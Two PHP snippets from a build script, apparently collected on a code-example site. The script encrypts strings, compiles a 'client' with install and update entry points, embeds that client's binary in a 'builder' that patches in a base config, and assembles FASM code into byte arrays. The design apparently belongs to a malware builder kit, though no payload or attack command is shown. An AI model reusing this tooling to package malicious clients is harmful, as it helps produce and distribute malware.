示例#1
0
    copyFile($dir['output']['buildtools'] . '\\' . $commandLineOptions['buildtools']['win64']['name'], $dir['bin'] . '\\' . $commandLineOptions['buildtools']['win64']['name']);
}
if (configBool('client_platforms')) {
    writeStep("BUILDING CLIENT");
    writeFile($dir['source']['common'] . '\\generateddata.h', headerOfHfile() . generateBaseConfigHeader() . "\r\n" . generateInstallData());
    generateCryptedStrings($dir['source']['client'] . '\\cryptedstrings');
    //Сборка.
    buildBinary('client', 0, true, true);
    //Создание данных для билдера.
    $client32 = '';
    $client32 .= "#define CLIENT32_VA_BASECONFIG " . sprintf('0x%08X', getVaFromMap('client', 'win32', 'baseConfigSource')) . "\r\n";
    $client32 .= "#define CLIENT32_VA_INSTALL    " . sprintf('0x%08X', getVaFromMap('client', 'win32', '_install')) . "\r\n";
    //CoreInstall.
    $client32 .= "#define CLIENT32_VA_UPDATE     " . sprintf('0x%08X', getVaFromMap('client', 'win32', '_update')) . "\r\n";
    //CoreInstall.
    $client32 .= "const BYTE _client32[] =\r\n" . binFileToCArray($dir['output']['client'] . '\\' . $commandLineOptions['client']['win32']['name'], 0);
    writeFile($dir['source']['builder'] . '\\clients.h', headerOfHfile() . $client32 . "\r\n");
}
if (configBool('builder_platforms')) {
    writeStep("BUILDING BUILDER");
    buildBinary('builder', 1, true, true);
    writeStep("BUILDING SAMPLE CONFIGURATION FILE");
    buildConfigSample($dir['output']['builder']);
    //Копируем лицензию, если она сущеcтвует.
    copyFileIfExists("{$configDir}\\license.key", $dir['output']['builder'] . '\\license.key');
}
if (configBool('manual')) {
    writeStep("BUILDING MANUAL");
    copyFile($dir['docs'] . '\\manual_ru.html', $dir['output'][0] . '\\manual_ru.html');
}
if (platformEnabled('server', 'php')) {
示例#2
0
function asmToCArray($x, $prefix, $sourceFile)
{
    $output = $GLOBALS['dir']['temp'] . '\\asmcode.bin';
    passthru(replaceVarables(array('%OUTPUT%' => $output, '%SOURCE%' => $sourceFile), $GLOBALS['commandLine']['fasm']['win' . $x]), $r);
    if ($r != 0) {
        die(1);
    }
    if (@filesize($output) == 0) {
        fatalError('Output size of asm code can\'t be 0 bytes');
    }
    return "#define " . strtoupper($prefix) . "{$x}\r\n" . "static const BYTE " . $prefix . "{$x}[] =\r\n" . binFileToCArray($output, 0) . "\r\n\r\n";
}